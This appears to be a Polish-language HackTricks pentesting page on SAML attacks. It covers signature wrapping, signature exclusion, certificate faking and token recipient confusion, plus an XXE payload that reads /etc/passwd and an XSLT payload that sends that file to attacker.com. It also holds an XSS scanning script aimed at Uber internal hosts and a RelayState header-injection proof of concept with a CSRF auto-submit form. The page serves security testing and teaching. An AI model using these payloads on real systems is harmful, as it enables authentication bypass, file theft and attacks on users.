SAML Attacks

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

SAML Basics

Narzędzie

SAMLExtractor: Narzędzie, które może przyjąć URL lub listę URL-i i zwrócić SAML consume URL.

XML round-trip

W XML podpisana część dokumentu XML jest zapisywana w pamięci, następnie wykonywane jest pewne kodowanie/dekodowanie i sprawdzany jest podpis. W idealnej sytuacji to kodowanie/dekodowanie nie powinno zmieniać danych, ale w opisanym scenariuszu, dane sprawdzane i dane oryginalne mogą się różnić.

Na przykład, sprawdź poniższy kod:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Uruchomienie programu dla REXML 3.2.4 lub wcześniejszej spowodowałoby zamiast tego następujące wyjście:

First child in original doc: Y
First child after round-trip: Z

Tak REXML zobaczył oryginalny dokument XML z powyższego programu:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

A tak zobaczył go po rundzie parsowania i serializacji:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Więcej informacji o podatności i sposobach jej wykorzystania:

XML Signature Wrapping Attacks

In XML Signature Wrapping attacks (XSW), adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: signature validation and function invocation. These attacks involve altering the XML document structure. Specifically, the attacker injects forged elements that do not compromise the XML Signature’s validity. This manipulation aims to create a discrepancy between the elements analyzed by the application logic and those checked by the signature verification module. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the fraudulent elements. Consequently, the attacker effectively bypasses the XML Signature’s integrity protection and origin authentication, enabling the injection of arbitrary content without detection.

Poniższe ataki bazują na this blog post and this paper. Sprawdź je, aby uzyskać więcej szczegółów.

XSW #1

  • Strategia: Dodawany jest nowy root element zawierający Signature.
  • Implikacja: Validator może pomylić prawidłowy “Response -> Assertion -> Subject” z podstawionym “evil new Response -> Assertion -> Subject”, prowadząc do problemów z integralnością danych.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Różnica w stosunku do XSW #1: Wykorzystuje detached signature zamiast enveloping signature.
  • Implikacja: „Evil” struktura, podobna do XSW #1, ma na celu oszukać business logic po kontroli integralności.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategia: Tworzy się złośliwe Assertion na tym samym poziomie hierarchii co oryginalne Assertion.
  • Implikacja: Ma na celu zmylić business logic, aby użyła złośliwych danych.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Różnica w stosunku do XSW #3: Oryginalne Assertion staje się childem zdublowanego (evil) Assertion.
  • Implikacja: Podobne do XSW #3, ale zmienia strukturę XML bardziej agresywnie.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Unikalny aspekt: Ani Signature, ani oryginalne Assertion nie odpowiadają standardowym konfiguracjom (enveloped/enveloping/detached).
  • Implikacja: Skopiowane Assertion envelopes Signature, modyfikując oczekiwaną strukturę dokumentu.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategia: Podobne wstawienie lokalizacji jak w XSW #4 i #5, ale z twistem.
  • Implikacja: Skopiowane Assertion envelopes Signature, które następnie envelopes oryginalne Assertion, tworząc zagnieżdżoną, mylącą strukturę.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategia: Wstawiany jest element Extensions z skopiowanym Assertion jako childem.
  • Implikacja: Wykorzystuje to mniej restrykcyjny schema elementu Extensions, by obejść kontromiary oparte na walidacji schematu, szczególnie w bibliotekach typu OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Różnica w stosunku do XSW #7: Wykorzystuje inny, mniej restrykcyjny element XML jako wariant ataku.
  • Implikacja: Oryginalne Assertion staje się childem mniej restrykcyjnego elementu, odwracając strukturę używaną w XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Tool

Możesz użyć rozszerzenia Burp SAML Raider do parsowania żądania, zastosowania wybranego ataku XSW i jego uruchomienia.

XXE

Jeśli nie wiesz, które rodzaje ataków to XXE, przeczytaj następującą stronę:

XXE - XEE - XML External Entity

SAML Responses są dokumentami XML skompresowanymi (deflate) i zakodowanymi base64 i mogą być podatne na ataki XML External Entity (XXE). Manipulując strukturą XML w SAML Response, atakujący mogą próbować wykorzystać podatności XXE. Oto jak taki atak można zobrazować:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Narzędzia

Możesz także użyć rozszerzenia Burp SAML Raider do wygenerowania POC z żądania SAML w celu testowania możliwych podatności XXE i podatności SAML.

Zobacz też to wystąpienie: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Aby uzyskać więcej informacji o XSLT zobacz:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) mogą być użyte do przekształcania dokumentów XML w różne formaty, takie jak HTML, JSON lub PDF. Należy pamiętać, że transformacje XSLT są wykonywane przed weryfikacją podpisu cyfrowego. Oznacza to, że atak może zakończyć się powodzeniem nawet bez ważnego podpisu; podpis samopodpisany lub nieprawidłowy jest wystarczający, aby kontynuować.

Tutaj możesz znaleźć POC do sprawdzenia tego typu podatności; na stronie hacktricks wspomnianej na początku tej sekcji znajdziesz payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Narzędzie

Możesz także użyć rozszerzenia Burp SAML Raider do wygenerowania POC z żądania SAML, aby przetestować możliwe podatności XSLT.

Obejrzyj także to wystąpienie: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion obserwuje zachowanie implementacji SAML, gdy element Signature nie jest obecny. Jeśli ten element jest nieobecny, walidacja sygnatury może się nie odbyć, co czyni to podatnym. Można to przetestować, modyfikując zawartość, która zwykle jest weryfikowana przez sygnaturę.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Narzędzie

Możesz też użyć rozszerzenia Burp SAML Raider. Przechwyć SAML Response i kliknij Remove Signatures. W ten sposób wszystkie elementy Signature zostaną usunięte.

Po usunięciu sygnatur pozwól, by żądanie przeszło do celu. Jeśli Signature nie jest wymagane przez Service

Certificate Faking

Certificate Faking

Certificate Faking to technika służąca do sprawdzenia, czy Service Provider (SP) poprawnie weryfikuje, że SAML Message jest podpisany przez zaufanego Identity Provider (IdP). Polega ona na użyciu *self-signed certificate do podpisania SAML Response lub Assertion, co pomaga ocenić proces walidacji zaufania między SP a IdP.

Jak przeprowadzić Certificate Faking

Poniższe kroki opisują proces z użyciem rozszerzenia Burp SAML Raider:

  1. Przechwyć SAML Response.
  2. Jeśli response zawiera sygnaturę, wyślij certyfikat do SAML Raider Certs używając przycisku Send Certificate to SAML Raider Certs.
  3. W zakładce SAML Raider Certificates wybierz zaimportowany certyfikat i kliknij Save and Self-Sign, aby stworzyć self-signed clone oryginalnego certyfikatu.
  4. Wróć do przechwyconego żądania w Burp’s Proxy. Wybierz nowy self-signed certificate z listy rozwijanej XML Signature.
  5. Usuń istniejące sygnatury przyciskiem Remove Signatures.
  6. Podpisz message lub assertion nowym certyfikatem używając (Re-)Sign Message lub (Re-)Sign Assertion, w zależności od potrzeby.
  7. Przekaż podpisaną wiadomość dalej. Udana autoryzacja wskazuje, że SP akceptuje wiadomości podpisane twoim self-signed certificate, ujawniając potencjalne luki w procesie walidacji SAML messages.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion i Service Provider Target Confusion polegają na sprawdzeniu, czy Service Provider prawidłowo weryfikuje zamierzonego odbiorcę response. W istocie, Service Provider powinien odrzucić odpowiedź uwierzytelniającą, jeśli była przeznaczona dla innego provider. Krytycznym elementem jest pole Recipient, znajdujące się w elemencie SubjectConfirmationData SAML Response. Pole to określa URL wskazujący, gdzie Assertion musi być wysłane. Jeśli rzeczywisty odbiorca nie pasuje do zamierzonego Service Provider, Assertion powinien być uznany za nieważny.

Jak to działa

Aby atak SAML Token Recipient Confusion (SAML-TRC) był możliwy, muszą być spełnione pewne warunki. Po pierwsze, musi istnieć ważne konto na Service Provider (nazywanym SP-Legit). Po drugie, docelowy Service Provider (SP-Target) musi akceptować tokeny od tego samego Identity Provider, który obsługuje SP-Legit.

Proces ataku jest prosty przy spełnieniu tych warunków. Autentyczna sesja jest inicjowana na SP-Legit za pośrednictwem wspólnego Identity Provider. SAML Response od Identity Provider do SP-Legit jest przechwytywany. Ten przechwycony SAML Response, pierwotnie przeznaczony dla SP-Legit, jest następnie przekierowywany do SP-Target. Sukces ataku następuje, jeśli SP-Target zaakceptuje Assertion, przyznając dostęp do zasobów pod tym samym nazwą konta używaną dla SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS w funkcjonalności wylogowania

Oryginalne badanie można znaleźć pod this link.

Podczas procesu directory brute forcing odkryto stronę logout pod adresem:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Po wejściu na ten link nastąpiło przekierowanie do:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

To ujawniło, że parametr base akceptuje URL. Mając to na uwadze, pojawił się pomysł, aby zastąpić URL wartością javascript:alert(123); w próbie zainicjowania ataku XSS (Cross-Site Scripting).

Masowa eksploatacja

From this research:

Narzędzie SAMLExtractor zostało użyte do analizy subdomen uberinternal.com w poszukiwaniu domen wykorzystujących tę samą bibliotekę. Następnie opracowano skrypt celujący w stronę oidauth/prompt. Skrypt ten testuje XSS (Cross-Site Scripting) poprzez wprowadzanie danych i sprawdzanie, czy są one odzwierciedlane w odpowiedzi. W przypadkach, gdy dane są rzeczywiście odzwierciedlone, skrypt oznacza stronę jako podatną.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Header/body injection oparte na RelayState prowadzące do rXSS

Niektóre SAML SSO endpoints dekodują RelayState, a następnie odzwierciedlają go w odpowiedzi bez sanitacji. Jeśli możesz wstrzyknąć nowe linie i nadpisać nagłówek Content-Type odpowiedzi, możesz zmusić przeglądarkę do renderowania HTML kontrolowanego przez atakującego, osiągając reflected XSS.

  • Idea: abuse response-splitting via newline injection in the reflected RelayState. See also the generic notes in CRLF injection.
  • Działa nawet gdy RelayState jest base64-dekodowany po stronie serwera: podaj base64, który po zdekodowaniu daje header/body injection.

Uogólnione kroki:

  1. Zbuduj sekwencję header/body injection zaczynającą się od nowej linii, nadpisz Content-Type na HTML, a następnie wstrzyknij payload HTML/JS:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. URL-encode the sequence (example):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. Base64-encode that URL-encoded string and place it in RelayState.

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. Wyślij POST z syntaktycznie poprawnym SAMLResponse i spreparowanym RelayState do SSO endpointu (np. /cgi/logout).
  2. Dostarcz przez CSRF: umieść stronę, która automatycznie wysyła cross-origin POST do docelowego originu zawierający oba pola.

PoC przeciwko NetScaler SSO endpointowi (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

Wzorzec dostarczania CSRF:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

Dlaczego to działa: serwer dekoduje RelayState i włącza go do odpowiedzi w sposób umożliwiający newline injection, pozwalając atakującemu wpłynąć na nagłówki i ciało. Wymuszenie Content-Type: text/html powoduje, że przeglądarka renderuje HTML kontrolowany przez atakującego z ciała odpowiedzi.

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks